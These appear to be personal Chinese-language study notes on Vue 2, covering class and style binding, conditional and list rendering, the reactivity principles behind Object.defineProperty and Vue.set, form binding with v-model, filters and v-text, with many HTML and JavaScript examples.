    <!-- 绑定class样式 数组写法,适用于:要绑定样式的个数和名字均不确定 -->
    <div class="basic" :class="classArr">{{name}}</div> //我们可以更好操作存在vm里面的数据以及使用各种api,注意这里的classArr是个数组(一般都是引号扩主代表字符串,不然会被当成是变量去vm里面找),数组是个表达式所以可以这么写,之后会把数组每个元素都取出来都生效包括原本的basic
    <hr/>
    <!-- 绑定class样式 对象写法,适用于:要绑定样式的个数和名字均确定,但是要动态决定是否使用 -->
    <div class="basic" :class="classObj">{{name}}</div>
</div>

<script>
    var vm = new Vue({
        el: '#app',
        data: {
            name:'cez',
            mood:'normal',
            classArr:['lxy1','lxy2','lxy3'],
            classObj:{
                lxz1:false,
                lxz2:true
            }
        },
        methods: {
            changeMood(){
                const arr = ['happy','sad','normal']
                const index = Math.floor(Math.random()*3)  //Math.floor向下取整
                this.mood = arr[index];
            }
        },
    });
</script>

image-20210717153820903

# 绑定 style 样式

  • style 样式:
    • :style="{fontSize:xxx}" ,其中 xxx 是动态值
    • :style="{a,b}" ,其中 a,b 是样式对象
<div id ="app">
    <div class="basic" :style="{fontSize:fsize+'px'}">{{name}}</div>
    <hr/>

    <div class="basic" :style="styleObj">{{name}}</div>
    <hr/>
    <!-- 数组写法 -->
    <div class="basic" :style="[styleObj,styleObj2]">{{name}}</div>
    <hr/>
    <!-- 数组写法 -->
    <div class="basic" :style="styleArr">{{name}}</div>

</div>

<script>
    var vm = new Vue({
        el: '#app',
        data: {
            name:'cez',
            fsize:40,
            styleObj:{
                fontSize:'60px',
                backgroundColor:'green'
            },
            styleObj2:{
                height:'50px'
            },
            styleArr:[
                {
                    fontSize:'60px',
                    backgroundColor:'green'
                },
                {
                    height:'50px'
                }
            ]
        },

    });
</script>

image-20220125183431781

# 条件渲染

  • 
      v-if
      
    	
    	- `v-if="表达式"`
    	- `v-else-if="表达式"`
    	- `v-else` <--这个没有表达式,没必要
    	- __适用于切换频率较低的场景(不适用与高频率切换因为需要不停创造新的或者删除)__
    	- __特点:不展示的DOM元素直接被移除__
    	- 注意:`v-if和v-else-if、v-else`一起使用,但要求结构不能被打断
    		- __用起来跟我们正常的if else if else一样,如果之前的if的表达式为正确后面的else if等等等都不会去判断了(所以这方面效率比较高)__
    	
    	![image-20220125185728447](https://raw.githubusercontent.com/HarryQu1229/image-host/main/notes-img/image-20220125185728447.png)
    	
    	> 这四个盒子要紧紧挨在一起,中间不能打断,这样才能确定这个就是一个if else if else的这类的语句
    
    - ```vue
    
    	v-show
    - `v-show="表达式"` - __适用于切换频率较高的场景(因为只是改了改样式)__ - __特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉(`display:none`)__
<div id ="app">
    <h2>当前的n值为{{n}}</h2>
    <button @click="n++">点我n+1</button>

    <!-- 使用v-show条件渲染 -->
    <h2 v-show="false">hello1,{{name}}</h2>
    <h2 v-show="1===1">hello2,{{name}}</h2>

    <!-- 使用v-if条件渲染 -->
    <h2 v-if="false">hello1,{{name}}</h2>
    <h2 v-if="1===1">hello2,{{name}}</h2>

    <!-- v-else和v-else-if和v-else,中间不可以中断 -->
    <div v-if="n===1">Angular</div>
    <div v-else-if="n===2">React</div>
    <!-- 中断 -->
    <!-- <div>中断</div> -->
    <div v-else-if="n===3">Vue</div>
    <div v-else>Other...</div>

    <!-- v-if与template的配合使用 template不会破坏结构 -->
    <template v-if="n===1">
        <h2>hello</h2>
        <h2>lxy</h2>
        <h2>js</h2>
    </template>
</div>

<script>
    var vm = new Vue({
        el: '#app',
        data: {
            name:'cez',
            n:0
        }
    });
</script>

注意上方用到的数据 n, 被改变后会让模板重新解析然后所有用到 n 的,包括那些 v-if/v-show 用到的表达式,只要用到了都会读取那个最新的 n 值,然后去进行判断 (看上方), 最后产生对应的变化

image-20210717211503037

# template 属性

一个字符串模板作为 Vue 实例的标识使用。模板将会替换挂载的元素。挂载元素的内容都将被忽略,除非模板的内容有分发插槽。

[image-20210719112015807

image-20220125190235745

这么做就可以让那哥 template 里面那三个都被删除 / 创造出来 (因为是用 v-if)

注意!

  • 外面的用 template 这样到时候真正放到页面上 template 会没掉,比用 div 好,div 可能会影响页面结构
  • template 只能用 v-if , 不能用 v-show

不能和 v-show 的原因应该是,v-show 是 display 隐藏,但是实际渲染后根本没有 templete 节点,自然无效了

image-20210718105930216

# 列表渲染

v-for指令
  • 用于展示列表数据,哪个元素需要这个 v-for 产生多个就把这个 v-for 加在哪
  • 语法: v-for="(item,index) in xxx" :key="yyy" (这个 key 主要是用来区分开每一个的,之后会说到)
  • 可遍历:数组、对象、字符串 (很少)、指定次数 (很少)
  • 看似是 for in 其实是像 java 的 for each loop
<div id ="app">
    <!-- 遍历数组 -->
    <h2>人员列表</h2>
    <ul>
        <li v-for="p in persons" :key="p.id">{{p.name}}--{{p.age}}</li>
    </ul>

    <ul>
        <li v-for="(p,index) in persons" :key="index">{{index}}--{{p.name}}--{{p.age}}</li>
    </ul>


    <!-- 遍历对象 -->
    <h2>汽车信息</h2>
    <ul>
        <li v-for="(value,key) in car" :key="key">{{key}}--{{value}}</li>
    </ul>

    <!-- 遍历字符串 -->
    <h2>字符串</h2>
    <ul>
        <li v-for="(c,k) in str" :key="k">{{c}}--{{k}}</li>
    </ul>

    <hr/>
    <!-- 遍历指定次数 -->
    <ul>
        <li v-for="(a,b) in 5">{{a}}--{{b}}</li> //a会是1,2,3,4,5
        										 //b会是0,1,2,3,4
    </ul>
</div>

<script>
    var vm = new Vue({
        el: '#app',
        data: {
            persons:[
                {
                    id:'001',
                    name:'张三',
                    age:18
                },
                {
                    id:'002',
                    name:'李四',
                    age:19
                },
                {
                    id:'003',
                    name:'王五',
                    age:20
                },
            ],
            car:{
                name:'奥迪A8',
                price:'70W',
                color:'black'
            },
            str:'test'
        },
        methods: {

        },
    });
</script>

# key 作用和原理

:key=... 是给 vue 内部操作设置的,不会被真正显示到真实 DOM 上,但是会显示在虚拟 DOM 上

image-20210717234108316image-20220125224029583image-20220125224943360

# 列表过滤

  • 用 watch 实现

    <div id ="app">
        <!-- 遍历数组 -->
        <h2>人员列表</h2>
        <input type="text" v-model="keyWord" placeholder="请输入姓名"/>
        <ul>
            <li v-for="p in filPersons" :key="p.id">{{p.name}}--{{p.age}}--{{p.sex}}</li>
        </ul>
    
    </div>
    
    <script>
        var vm = new Vue({
            el: '#app',
            data: {
                keyWord:'',
                persons:[
                    {id:'001',name:'马冬梅',age:18,sex:'女'},
                    {id:'002',name:'周冬雨',age:19,sex:'女'},
                    {id:'003',name:'周杰伦',age:20,sex:'男'},
                    {id:'004',name:'温兆伦',age:20,sex:'男'},
                ],
                filPersons:[]
            },
            watch:{
                keyWord:{
                    immediate:true,
                    handler(val){
                        //filter会返回一个全新的数组
                        //任意一个字符串.indexOf('')结果都为0
                        this.filPersons = this.persons.filter((p)=>{ 
                            return p.name.indexOf(val)!==-1
                        })                 
                    }
                }
    
            }
    
        });
    </script>

    注意image-20220125230553024 任何字符串都包含空字符串,且 indexOf 会返回 0

    上面使用 immediate:true 也就是会让那个页面一上来就会调用那个 handler 函数,而传进去的值在这里是空的字符串 (这是因为用 v-model 双向绑定那个输入框,然后里面用的表达式是我们 data 里面的 keywords,which we have set to ‘’(empty string), so once the handler function is called, the first parameter value passed to the handler function is empty string instead of undefined), and because like we said above that calling indexOf method on a string with an empty string as parameter will return 0, hence 在上方代码中,任何数据都不会过滤掉让 filPersons 里面会是所有的原本数组有的数据,这个样子我们绑定的然后用了 filPersons 表达式的地方会是这个带有所有的原本的数据的数组

  • 用 computed 实现

    computed:{
        filPersons(){
            return this.persons.filter((p)=>{ //这里使用的是箭头函数!然后里面的this才会指向vm
                return p.name.indexOf(this.keyWord)!==-1;
            })
        }
    }

    之前我们说过计算属性一上来会自己先调用一下,然后返回值存缓存,之后只有用到的数据有变化才会重新被调用

    所以不需要像上面那么麻烦,一开始还是会显示所有的

# 列表排序

  • 先序知识:JavaScript Array.sort () 方法
    • 如果调用该方法时没有使用参数,将按字母顺序对数组中的元素进行排序,说得更精确点,是按照字符编码的顺序进行排序。要实现这一点,首先应把数组的元素都转换成字符串(如有必要),以便进行比较。
    • 如果想按照其他标准进行排序,就需要提供比较函数,该函数要比较两个值,然后返回一个用于说明这两个值的相对顺序的数字。比较函数应该具有两个参数 a 和 b,其返回值如下:
    • 若 a 小于 b,在排序后的数组中 a 应该出现在 b 之前,则返回一个小于 0 的值。
    • 若 a 等于 b,则返回 0。
    • 若 a 大于 b,则返回一个大于 0 的值。
<div id ="app">
    <!-- 遍历数组 -->
    <h2>人员列表</h2>
    <input type="text" v-model="keyWord" placeholder="请输入姓名"/>
    <button @click="sortType=2">年龄升序</button>
    <button @click="sortType=1">年龄降序</button>
    <button @click="sortType=0">原顺序</button>
    <ul>
        <li v-for="p in filPersons" :key="p.id">{{p.name}}--{{p.age}}--{{p.sex}}</li>
    </ul>

</div>

<script>
    var vm = new Vue({
        el: '#app',
        data: {
            keyWord:'',
            sortType:0,//0代表原数据,1代表降序  2代表升序
            persons:[
                {id:'001',name:'马冬梅',age:18,sex:'女'},
                {id:'002',name:'周冬雨',age:30,sex:'女'},
                {id:'003',name:'周杰伦',age:40,sex:'男'},
                {id:'004',name:'温兆伦',age:25,sex:'男'},
            ],
        },
        computed:{
            filPersons(){
                const arr = this.persons.filter((p)=>{
                    return p.name.indexOf(this.keyWord)!==-1;
                });
                //判断是否需要排序
                if (this.sortType){
                    arr.sort((p1,p2)=>{
                        return this.sortType===1?p2.age-p1.age:p1.age-p2.age;
                    })
                }
                return arr;
            }
        }
    });
</script>

# 更新时的一个问题

image-20210717233819817

image-20210717234346349

<div id ="app">
    
    <!-- 遍历数组 -->
    <h2>人员列表</h2>
    <input type="text" v-model="keyWord" placeholder="请输入姓名"/>
    <button @click="updateMei">更新马冬梅的信息</button>
    <ul>
        <li v-for="p in persons" :key="p.id">{{p.name}}--{{p.age}}--{{p.sex}}</li>
    </ul>

</div>

<script>
    var vm = new Vue({
        el: '#app',
        data: {
            keyWord:'',
            sortType:0,//0代表原数据,1代表降序  2代表升序
            persons:[
                {id:'001',name:'马冬梅',age:18,sex:'女'},
                {id:'002',name:'周冬雨',age:30,sex:'女'},
                {id:'003',name:'周杰伦',age:40,sex:'男'},
                {id:'004',name:'温兆伦',age:25,sex:'男'},
            ],
        },
        methods:{
            updateMei(){
                // this.persons[0].name="韩金轮"  //奏效
                // this.persons[0].age=30  //奏效

                this.persons[0] = {id:'001',name:'韩金轮',age:30,sex:'男'} //不奏效
// 其实在内存中确实是给这个数组改了,只不过页面不会显示这个更新,这是因为我们接下来讲的数组的监测数据原理
            }
        }
    });
</script>

# Vue 监测数据的原理_对象

  • 模拟数据监测 —setInterval ()

    setInterval () 方法可按照指定的周期(以毫秒计)来调用函数或计算表达式。

    setInterval () 方法会不停地调用函数,直到 clearInterval() 被调用或窗口被关闭。由 setInterval () 返回的 ID 值可用作 clearInterval () 方法的参数。

    <script>
        let data = {
            name:'cez',
            address:'hitwh'
        }
    
        let tmp = 'cez'
        setInterval(() => {
            if (data.name!=tmp){
                tmp = data.name
                console.log('name被修改了');
            }
        }, 100);
    </script>

    这里如果不使用 tmp 变量而是在判断中直接写 data.name!=’cez’,则改变 data.name,每隔 100ms 就会调用方法

  • 模拟数据监测 — Object.defineProperty() 不可行

    • 直接在 data 中 defineProperty 会造成 get 和 set 的无限递归调用自身。
    <script>
        let data = {
            name:'cez',
            address:'hitwh'
        }
    
        Object.defineProperty(data,'name',{
            get(){
                return data.name
            },
            set(val){
                data.name = val
            }
        })
    </script>

    image-20210718094959540

    上面可以看到要是调用 data.name 会触发 getter 函数返回的是 data.name, 所以这个又被调用了,然后 getter 又被触发了,这直接内存 (栈) 溢出了。不能这么干!

    我们一般 getter 和 setter (数据代理或者计算属性那种) 都是:

    • 比方说对于一个数据,然后这个数据 getter 和 setter 函数是被这个数据在调用或者读取的时候所调用的
    • 然后这个数据这个 getter 和 setter 函数里面返回的和设置的其实是另外别的数据
      • 比如说 vm 上 (来自于 vm._data) 的属性的 getter 和 setter 都是返回或者设置 vm._data 里面那个对应的属性的值
      • 再比如说计算属性被调用或者修改触发 getter 和 setter 都是改的他用的那些 vm 身上的属性
    • 这个样子就不是调用或者赋值给自己,所以就不会反复触发 getter/setter 函数发生栈溢出
  • Observer

    这里仅仅模拟了一层,在 Vue 中更加完善,只要是对象,不管有几层都可以监视

    我们这个例子只会看到 data 里面的第一层,要是 data 有存的对象,那么这个对象里面存的属性我们就不会有对应的 setter 和 getter, 所以要是改变里面的那些值,setter 不会被调用因为压根就没有

    而 Vue 真实源码是有个递归,会一直往下找知道将所有的属性都给加上了 getter 和 setter. 并且 Vue 的源码可以让不光是对象,数组每个的元素 (以及元素存的是对象里面 (的对象的…) 所有键与值) 都会被取出来给到 obs 然后用 getter 和 setter 搭建关系

let data = {
    name:'cez',
    address:'hitwh'
}   

//创建一个监视的实例对象,用于监视data中属性的变化
const obs = new Observer(data)
console.log(obs)

//准备一个vm实例对象
let vm = {}
vm._data = data = obs

function Observer(obj){
    //汇总对象中所有的属性形成一个数组
    const keys = Object.keys(obj)
    //遍历
    keys.forEach((k)=>{
        //这里的this就是Observer的实例对象
        Object.defineProperty(this,k,{
            get(){
                return obj[k]
            },
            set(val){
                console.log('${k}被修改了,我要去解析模板,生成虚拟DOM.....开始干活')
                obj[k] = val
            }
        })
    })    

}

解析:

  • 上方有个 data 就是传进给我们实例化 Vue 对象的那个

  • 我们可以创造一个构造函数叫做 Observer, 然后这个构造函数需要一个参数,我们可以把 data 传进去然后实例化这个 Observer 对象

  • data 传进去之后会得到他所有的键名存在一个数组里,然后对每一个键名都将这个键名加在 this 上面,这里的 this 因为是构造函数对象里面的,所以调用这个的会是实例化这个构造函数的那个对象 (也就是上面的 obs)

注意 foreach 是箭头函数才可以让里面的 this 指向实例化对象

  • 然后在给我们这个实例化对象加上这些属性 (键名) 时,我们设置好了__getter 和 setter 分分指向了传进来的那个 obj 对象 (也就是一开始 data 存的那个对象) 的对应的那个键名的值__, 这样就不会像是我们之前说的自己调用自己 (而是用别的对象的数据 (属性))

就是把 obj 的所有属性,通过 forEach () 转移到 obs 对象当中,然后二者通过 get () 和 set () 方法发生关联。

  • 之后我们把这个实例化对象 (obs) 给了 data 然后也给了 vm._data, 这也是为什么 data===vm._data 会返回 true
  • 这个 setter 里面不光改的是那个传进来的那个 obj 对象 (也就是一开始的 data) 的对应的那个键名的值,他这里面还会解析模板的代码
  • 这也就是说不管你是 vm._data 修改了哪个 (任何) 属性,都会调用 vm._data 存的这个实例化的 obs 对象里面对应的那个被改变值的那个键名所有的 setter 函数,在这个函数里面会把原来传进来的 obj 对象对应的数据做出改变 (这个 obj 对象会一直存在于这个实例化函数当中,因为我们不管怎么样读取或者改的值都是通过调用 obs 对象里面那个属性的 getter 和 setter 来获取或者赋值给这个 obj 里面对应的键的值), 然后各种解析模板的代码,模板一解析就会生成新的虚拟 DOM, 然后就会新旧 DOM 对比,然后更新页面

总结:

1,obs 把 data 的数据全部拷贝下来并创建 get set (也就是做了 data 的数据代理)

2,把变量 data 的地址换成 obs,今后需要对原 data 地址里的数据做更改时就只能通过 obs 来实现(不然就用不了 obs 里面的侦听逻辑)

3,最后把 obs 代给 vm._data,vm 里面会用一次 defineProperty 方便我们只用 vm.name 就能访问或修改

4,总结一下就是 vm 做了 obs 的数据代理,obs 又做了原始 data 的数据代理

这样不管是改了 (不管如何改) vm._data. 属性,还是那个 data. 属性,还是 vm. 属性,其实都会最终访问的是那个 obs 实例化对象 (其实 vm._data 和 data 就是存的地址就是这个 obs 实例化对象的地址) 身上的那个值,而因为那个值是用 getter 和 setter 加上去的,所以读取 / 赋值会调用 getter/setter, 而那个 setter 里面有着其他函数的调用,这些函数就包括解析模板。模板解析 -> 产生新的虚拟 DOM-> 新的虚拟 DOM 跟跟之前的虚拟 DOM 比较 -> 页面产生

这么做就会让数据绑定实现

所以 Vue 检测数据的原理就是通过 setter

# Vue.set()

这个的作用是比如你的 vm 现在有一些属性你现在先没用上,然后只有用户做了写什么然后我们才会加,那么这个时候我们要是通过 vm._data.属性名=... 或者 vm.属性名=... 来__添加属性__是不行的,这是因为我们 vm 上面那些我们设的属性是通过_data 属性里面数据代理过来的,而_data 里面的属性则是通过传入一开始那个 data 里面的数据 (obj) 然后也是 setter 和 getter 跟那些传进来的值交互。我们这里要是直接像上面我说的那样直接加是不行的,连 getter 和 setter 都没有。这种方式不是通过我们之前说的那样,所有在那个 obs 实例化对象的 setter 里面没有跟这个属性对应的 setter (和 setter), 所以就算你设了这些属性然后修改他的值,是不会触发 obs 实例化对象里面的对应的 setter 的因为压根就没有,所以不触发 setter 就没有重新解析模板等等等的代码,所以不是__响应式__

而要是想之后加上属性而且是响应式的就像我们一开始在 data 里面设的一样就需要用到这个 Vue.set ()

[Vue.set( target, propertyName/index, value )]
  • 参数

    • {Object | Array} target
    • {string | number} propertyName/index
    • {any} value
  • 返回值:设置的值。

  • 用法

    向响应式对象中添加一个 property,并确保这个新 property 同样是响应式的,且触发视图更新。它必须用于向响应式对象上添加新 property,因为 Vue 无法探测普通的新增 property (比如 this.myObject.newProperty = 'hi' )

    注意对象不能是 Vue 实例,或者 Vue 实例的根数据对象。

image-20210718100042415

也就是说不能给我们 vue 实例化对象 vm, 以及 vm._data (vm 的配置项的 data) 直接用 Vue.set (或者 vm.$set (…)) 以此来添加一个响应式属性,只能对 vm 身上的一个__对象__属性 (任何,除了_data) 身上用 Vue.set (或者 vm.$set (…)) 来添加新的响应式属性

<div id ="app">
    <h2>学校名称:{{name}}</h2>
    <h2>学校地址:{{address}}</h2>
    <hr/>
    <h1>学生信息</h1>
    <button @click="addSex">添加性别属性,默认为男</button>
    <h2>学生姓名:{{student.name}}</h2>
    <h2>学生年龄:真实{{student.age.rAge}}--虚假{{student.age.sAge}}</h2>
    <h2 v-if="student.sex">学生性别:{{student.sex}}</h2>
    <hr/>
    <h2>朋友</h2>
    <ul>
        <li v-for="(f,index) in student.friends" :key="index">{{f.name}}--{{f.age}}</li>
    </ul>
</div>

<script>
    const vm = new Vue({
        el:'#app',
        data:{
            name:'hitwh',
            address:'wh',
            student:{
                name:'cez',
                age:{
                    rAge:20,
                    sAge:18
                },
                friends:[
                    {name:'lxy',age:20},
                    {name:'lxz',age:19}
                ]
            }
        },
        methods:{
            addSex(){
                //this.$set(this.student,'sex','男');
                Vue.set(this.student,'sex','男');
            }
        }
    })
</script>

# Vue 监测数据的原理_数组

  • 前序知识:JavaScript splice () 方法

    • 定义和用法

      splice () 方法向 / 从数组中添加 / 删除项目,然后返回被删除的项目。

      image-20210718103753909

      该方法会改变原始数组。

<div id ="app">
    <h2>学校名称:{{name}}</h2>
    <h2>学校地址:{{address}}</h2>
    <hr/>
    <h1>学生信息</h1>
    <button @click="addSex">添加性别属性,默认为男</button>
    <h2>学生姓名:{{student.name}}</h2>
    <h2>学生年龄:真实{{student.age.rAge}}--虚假{{student.age.sAge}}</h2>
    <h2 v-if="student.sex">学生性别:{{student.sex}}</h2>
    <h2>爱好</h2>
    <ul>
        <li v-for="(hobby,index) in student.hobbies" :key="index">
            {{hobby}}
        </li>
    </ul>

    <hr/>
    <h2>朋友</h2>
    <ul>
        <li v-for="(f,index) in student.friends" :key="index">{{f.name}}--{{f.age}}</li>
    </ul>
</div>

<script>
    var vm = new Vue({
        el: '#app',
        data: {
            name:'hitwh',
            address:'wh',
            student:{
                name:'cez',
                age:{
                    rAge:20,
                    sAge:18
                },
                hobbies:['抽烟','喝酒','烫头'],
                friends:[
                    {name:'lxy',age:20},
                    {name:'lxz',age:19}
                ]
            }
        },
        methods: {
            addSex(){
                //this.$set(this.student,'sex','男');
                Vue.set(this.student,'sex','男');
            }
        },
    });
</script>

# Vue 监测数据总结

  1. Vue 会监视 data 中__所有层次__的数据

  2. 如何监测对象中的数据

    通过 setter 实现监视,且要在__new Vue 的时候就传入要监测的数据__

    • 对象中后追加的属性,Vue 默认不做响应式处理

    • 如需给后添加的属性做响应式,使用如下 API:

      Vue.set(target,propertyName/index,value)

      vm.$set(target,propertyName/index,value)

  3. 如何监测数组中的数据

    通过__包裹__数组更新元素的方法实现,本质就是做了两件事

    • 调用原生对应的方法对数组进行更新
    • 重新解析模板,进而更新页面
  4. 在 Vue 中修改数组中某个元素一定要使用如下方法:

    1. push() pop() shift() unshift() splice() sort() reverse()

    2. Vue.set() vm.$set()

image-20220128000159994

在 Vue 里面

检测数据 — 对象:

  • 一开始 data 里面存的各种数据,任何作为 obj 传进创建 obs 实例对象里相当于这个传进的数据被劫持了,然后 obj 里面每个键值 pair 都会被我们用 defineProperty 添加到我们 obs 实例化对象上,然后添加每个键值 pair 时都是设有 getter 和 setter 的。所有一开始 data 里面是如果

    • 键存的就是普通数据类型,那么那个键被加到 obs 身上时设置了 getter 和 setter 分别读取和赋值那个传进来被劫持的 obj (数据 /) 对象上面的对应的键的值,然后这个 setter 有重新解析模板那些代码.
    • 键存的是对象,那么和这个对象里面的 (对象里面的对象), 这里面__所有存着对象的键__以及__所有里面有的存着普通数据类型的键__和都会被通过 getter 和 setter 设置到了 obs 身上,然后像上面一样,getter 和 setter 分别读取和赋值那个传进来被劫持的 obj (数据 /) 对象上面的对应的键的值,然后这个 setter 有重新解析模板那些代码.

    所以可以说是存对象 (以及存的是普通数据类型的键) 的键里面的值是被 setter 所监视的,因为我们一旦改变__不管是对象 (因为存着对象的键也被是设了 getter 和 setter, 所以改整个对象也就是改地址也会被 setter 检测到)__还是那些存普通数据类型的键里面的普通类型的值 (可能是被包裹在多个对象之中), 只要我们修改,也就是重新赋值,就一定会调用 obs 上面那个键对应的 setter 然后 setter 里面就是解析模板等代码… 以此达到了检测数据 (对于对象 (和普通数据))

    当然这个 obs 的地址赋给了 data 也赋给了_data.

    而要是我们之后添加新的属性,不管存的是什么,因为不是通过一开始在 data 里面作为一起作为 obj 传入那个 obs 实例化对象,所以不会给他们设有 setter 和 getter. 所以就算你直接添加是可以,但这个属性并没有被检测到,不会被调用 setter (因为压根就没有对应的) 以及里面的解析模板的代码

    不过我们可以用 Vue.set 方式添加,不过这种方式不能直接添加到我们 vue 实例 (vm) 身上也不能直接添加到 vm._data 身上,只能添加到 vm. 某个对象 (. 可以包含更多对象等) 身上。这样添加的数据就是响应式的,也就是可以被检测到 (会调用 setter 的)

检测数据 — 数组:

  • 这里一开始 data 里面如果是

    • 键存的是数组,那么和这个键 (存数组这个键) 是会像我们说的一样通过 getter 和 setter 设置到了 obs 身上,然后像上面一样,getter 和 setter 分别读取和赋值那个传进来被劫持的 obj (数据 /) 对象上面的对应的键的值,然后这个 setter 有重新解析模板那些代码.
      • 所以要是把一个存数组的属性的值改成别的值 (另外一个地址,另外一个对象,等等等), 都是会调用对应的 setter 然后解析…
    • 键存的是数组每一个元素,也可以说是 (键为 0 存了数组的第一个元素 (不管这元素是什么), 键为 1 存了数组的第一个元素 (不管这元素是什么), 键为 2 存了数组的第一个元素 (不管这元素是什么),…), 那么这些键 (可以理解为数组的每一个下标值 (index)) 是不会有对应的 setter 和 getter 的
      • 所以比如说把这个数组下标为 0 存的那个元素给改变了 ( 数组[0]=xxx) 是不会调用 setter 的,所以这个改变是不会被检测到的, 虽然他就是改了!!!确确实实是改了数组,但是这个改变没有调用 setter 所以不会被检测到

    值得注意的是,要是这个数组里面存的是个对象,比如说 数组[0] 存的是个对象,然后你改变这个对象里面的任何属性 (因为这个属性不可能是一个数组里面的属性), 那么这个改变还是会被检测到的!还是会像我们上面说的调用对应键的 setter 然后解析… 所以:

    • 数组[0]=xxx 这个改变不会被检测到
    • 数组[0].属性名=xxx 这个改变会被检测到!!!当然这个前提是这个数组 [0] 存的是个对象而且那个属性名是一开始在 data 里面就有的,而不是新添加的还是啥的

    那数组里面的数据什么时候改变会被检测到呢?

    是当我们调用以下任意方法时:

image-20210718103811958)

注意! 这些方法时不是数组原型上的方法然后我们数组通过原型链获取到的,在 Vue 里面已经给我们重新一套一样的方法 (覆盖的意思,或者也可以说是 vm 将上面变更数组的 7 个方法进行了包裹), 而我们用数组调用这七个任意方法,在那里面当然会做出这些方法应该做的,而且这些方法里面还会将数组通过这次方法所有的改变给检测到,然后会调用解析模板… 那些代码

image-20210718105601009

注意!__这些方法时可以用一个数组调用然后真正改变调用这个数组的方法,而不是像 filter 那些只是拿来操作,然后返回一个改变后的还需要你自己再拿一个变量来存改变后的值,__不过如果是 filter 这种的我们完全可以把返回的结果再重新赋值给那个数组属性,这样我们并没有改变这个数组的某个 (整个) 元素,而是改变的这个存的数组的键存的这整个数组,这个键还是会有 getter 和 setter 所以改变了,这里的改变也会被 setter 检测到,然后解析…

所以要是想给一个存数组的键改这个数组里面某个下标的 (一整个) 元素时,比如说这个元素是个对象,然后你想把整个这个元素给更换成别的值,那么就需要调用上面的数组方法,然后这个改变就会检测到,然后这个改变就会显示到页面上用到得地方.

除此之外还可以用 Vue.set(数组,下标,改变成什么值) 或者 vm.$set (…) 一样,这种方式__也可以让改变被检测到!!!__

注意,数组里面可能存对象,对象里面也有可能存数组,这个没有影响,数组就按照数组的方式检测里面数据,对象 (and 普通数据类型) 就按照对象的方式检测里面的数据

还有就是想着__数据代理__, 就算是通过 Vue.set 还是什么方法加进来的新属性,只要可以在_data 上面找到,那么就可以在 vm 身上找到

所谓数据劫持就是将原本 data 那些数据变成各种带着 getter 和 setter 放到 obs 身上,然后每次改变一个键的值,那么 (这个改变) 马上就被 setter 劫持到了,劫持到了确实会给你改数据,然后再给你做解析那些事

数据劫持和数据代理都离不开 defineProperty

# 收集表单数据

  • <input type="text"/> , 则 v-model 收集的是 value 值,用户输入的就是 value 值

  • <input type="radio"/> ,则 v-model 收集的就是 value 值,且要给标签配置 value 值 (比如说 value=“male” , value=“female” )

  • <input type="checkbox"/>

    • 没有配置 input 的 value 属性,那么收集的就是 checked (勾选 or 未勾选,bool 值),checked (勾选了) 就是 true,vice versa
    • 若配置了__input 的 value 属性 (给每一个 checkbox 一个特定的 value 值)__:
      • v-model 的初始值为非数组,那么收集的是 checked, 也就是要么为 true (勾选了) 要么为 false (没勾选)
      • v-model 的初始值为数组,那么收集的就是 value 组成的数组
  • 备注:v-model 三大修饰符:

    • lazy: 失去焦点时再收集数据,而不是像平时那样时时刻刻都检测变化然后 update
    • number:输入字符串转为有效的数字 (就是如果你填的 value 是数字类型那么这个绑定的那个 data 里面的属性会存数字类型,而不是 string)
    • trim:输入首尾空格过滤
<div id ="app">
    <form @submit.prevent="demo" action="">
        账号:<input type="text" v-model.trim="userInfo.account"> <br/> <br/>
        密码:<input type="password" v-model="userInfo.password"> <br>
        年龄:<input type="number" v-model.number="userInfo.age"><br>
        性别:
        男<input type="radio" name="sex" value="male" v-model="userInfo.sex"><input type="radio" name="sex" value="female" v-model="userInfo.sex"> <br>
        爱好:
        学习<input type="checkbox" value="study" v-model="userInfo.hobby"> 
        打游戏<input type="checkbox" value="game" v-model="userInfo.hobby"> 
        吃饭<input type="checkbox" value="eat" v-model="userInfo.hobby"> <br>
        所属校区:
        <select v-model="userInfo.city">
            <option value="">请选择校区</option>
            <option value="harbin">哈尔滨</option>
            <option value="weihai">威海</option>
            <option value="shenzhen">深圳</option>
        </select>
        <br>
        其他信息:
        <textarea v-model.lazy="userInfo.others"></textarea> <br>
        <input type="checkbox" v-model="userInfo.agree"/><a href="http://www.cezzz.top">《用户信息》</a>
        <button>提交</button>
    </form>

</div>

<script>
    var vm = new Vue({
        el: '#app',
        data: {
            userInfo:{
                account:'',
                password:'',
                age:18,
                sex:'female',
                hobby:[],
                city:'weihai',
                others:'无',
                agree:''
            }
        },
        methods: {
            demo(){
                console.log(JSON.stringify(this.userInfo));

            }
        }
    });
</script>

# 过滤器

  • 定义:对要显示的数据进行特定格式化后再显示 (适用于一些简单逻辑的处理)
  • 语法:
    • 注册处理器: Vue.filter(name,callback)new Vue{filters:{}}
  • 备注
    • 过滤器也可以接收额外参数 (他第一个参数永远都是管道符前面那个,所以直接在小括号里面写其他参数就可以),多个过滤器也可以串联
    • 并没有改变原本的数据,是产生新的对应的数据
  • 用法:
    • 过滤器可以__作用在插值语法和 v-bind (不可以作用在 v-model 上)__

有点像我们 linux 学的那种,将前一个表达式作为参数传给下一个然后…so on so on

<div id ="app">
    <h2>显示格式化后的时间</h2>
    <!-- 计算属性实现 -->
    <h3>现在是:{{fmtTime}}</h3>

    <!-- methods实现 -->
    <h3>现在是:{{getFmtTime()}}</h3>

    <!-- 过滤器实现 -->
    <h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice }}</h3>
    <!-- 过滤器可以作用在v-bind上 -->
    <h3 :x="msg | mySlice"></h3>
    <!-- 过滤器不可作用在v-model上 -->
    <input type="text" v-model="msg | mySlice"/>
</div>

<div id="app2">
    <h3>现在是:{{time | mySlice }}</h3>
</div>

<script>
    //注册全局过滤器
    Vue.filter('mySlice',function(value){
        return value.slice(0,4)
    })

    var vm = new Vue({
        el: '#app',
        data: {
            time:1626589191242,
            msg:'hello,cez'
        },
        computed: {
            fmtTime(){
                return dayjs(this.time).format('YYYY年MM月DD HH:mm:ss')
            }
        },
        methods:{
            getFmtTime(){
                return dayjs(this.time).format('YYYY年MM月DD HH:mm:ss')
            }
        },
        filters:{
            timeFormater(val,formatStr='YYYY年MM月DD HH:mm:ss'){
                return dayjs(val).format(formatStr)
            }
        }
    });

    var vm2 = new Vue({
        el:'#app2',
        data:{
            time:1626589191242
        }
    })
</script>

# v-text 指令

  • 向其所在的节点中渲染文本内容
  • 与插值语法的区别:v-text 会替换掉节点中的内容,插值语法则不会

就跟 innerText 很像

<div id ="app">
    <h2 v-text="name"></h2>
</div>

<script>
    var vm = new Vue({
        el: '#app',
        data: {
            name:'cez'
        },
